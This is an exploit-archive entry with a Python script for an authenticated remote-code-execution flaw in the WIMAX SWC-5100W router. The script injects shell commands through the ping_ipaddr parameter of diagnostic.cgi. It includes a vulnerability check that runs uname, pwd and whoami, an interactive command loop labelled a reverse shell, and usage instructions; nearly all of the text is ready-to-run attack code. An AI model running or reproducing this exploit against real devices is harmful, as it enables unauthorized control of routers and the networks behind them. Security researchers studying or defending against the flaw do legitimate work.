WIMAX SWC-5100W Firmware V(1.11.0.1 :1.9.9.4) – Authenticated RCE
# Exploit Title: WIMAX SWC-5100W Firmware V(1.11.0.1 :1.9.9.4) - Authenticated RCE # Vulnerability Name: Ballin' Mada # Date: 4/3/2023 # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: http://www.seowonintech.co.kr/eng/main # Version: Bootloader(1.18.19.0) , HW (0.0.7.0), FW(1.11.0.1 : 1.9.9.4) # Tested on: Unix # CVE : Under registration import requests import random,argparse import sys from colorama import Fore from bs4 import BeautifulSoup red = Fore.RED green = Fore.GREEN cyan = Fore.CYAN yellow = Fore.YELLOW reset = Fore.RESET argParser = argparse.ArgumentParser() argParser.add_argument("-t", "--target", help="Target router") argParser.add_argument("-rv", "--reverseShell", help="Obtain reverse shell", action='store_true') argParser.add_argument("-tx", "--testExploit", help="Test exploitability", action='store_true') args = argParser.parse_args() target = args.target rev = args.reverseShell testX = args.testExploit banner = """ ____ ____ ____ ____ ____ ____ ____ _________ ____ ____ ____ ____ ||B |||a |||l |||l |||i |||n |||' ||| |||M |||a |||d |||a || ||__|||__|||__|||__|||__|||__|||__|||_______|||__|||__|||__|||__|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_______\|/__\|/__\|/__\|/__\| RCE 0day in WIMAX SWC-5100W [ Spell the CGI as in Cyber Guy ] """ def checkEXP(): print(cyan + "[+] Checking if target is vulnerable" + reset) art = ['PWNED_1EE7', 'CGI AS IN CYBER GUY'] request = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo 'PUTS("+random.choice(art)+")';", proxies=None) if request.status_code == 200: print(green + "[+] Status code: 200 success" + reset) soup = BeautifulSoup(request.text, 'html.parser') if soup.get_text(" ").find("PWNED_1EE7") < 0 or soup.get_text(" ").find("CGI AS IN CYBER GUY"): print(green + "[+] Target is vulnerable" + reset) uname = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo+\"<a+id='pwned'>[*] Kernel: `uname+-a` -=-=- [*] Current directory: `pwd` -=-=- [*] User: `whoami`</a>\";") soup_validate = BeautifulSoup(uname.text, 'html.parser') print(soup_validate.find(id="pwned").text) else: print(red + "[+] Seems to be not vulnerable" + reset) else: print(red + "[+] Status code: " + str(request.status_code) + reset) def revShell(): cmd = input("CGI #:- ") while cmd: try: print(cmd) uname = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo+\"<a+id='result'>`{cmd}`</a>\";") resp = BeautifulSoup(uname.text, 'html.parser') print(resp.find(id="result").text) if cmd == "exit" or cmd == "quit": print(yellow + "[*] Terminating ..." + reset) sys.exit(0) else: return revShell() except KeyboardInterrupt: sys.exit(0) def help(): print( """ [+] Example: python3 pwnMada.py -t 192.168.1.1 -rv [*] -t, --target :: Specify target to attack. [*] -rv, --reverseShell :: Obtain reverse shell. [*] -tx, --testExploit :: Test the exploitability of the target. [*] -fz, --fuzz :: Fuzz the target with arbitrary chars. """ ) if target and rev: print(banner) revShell() elif target and testX: print(banner) checkEXP() else: print(banner) argParser.print_help() |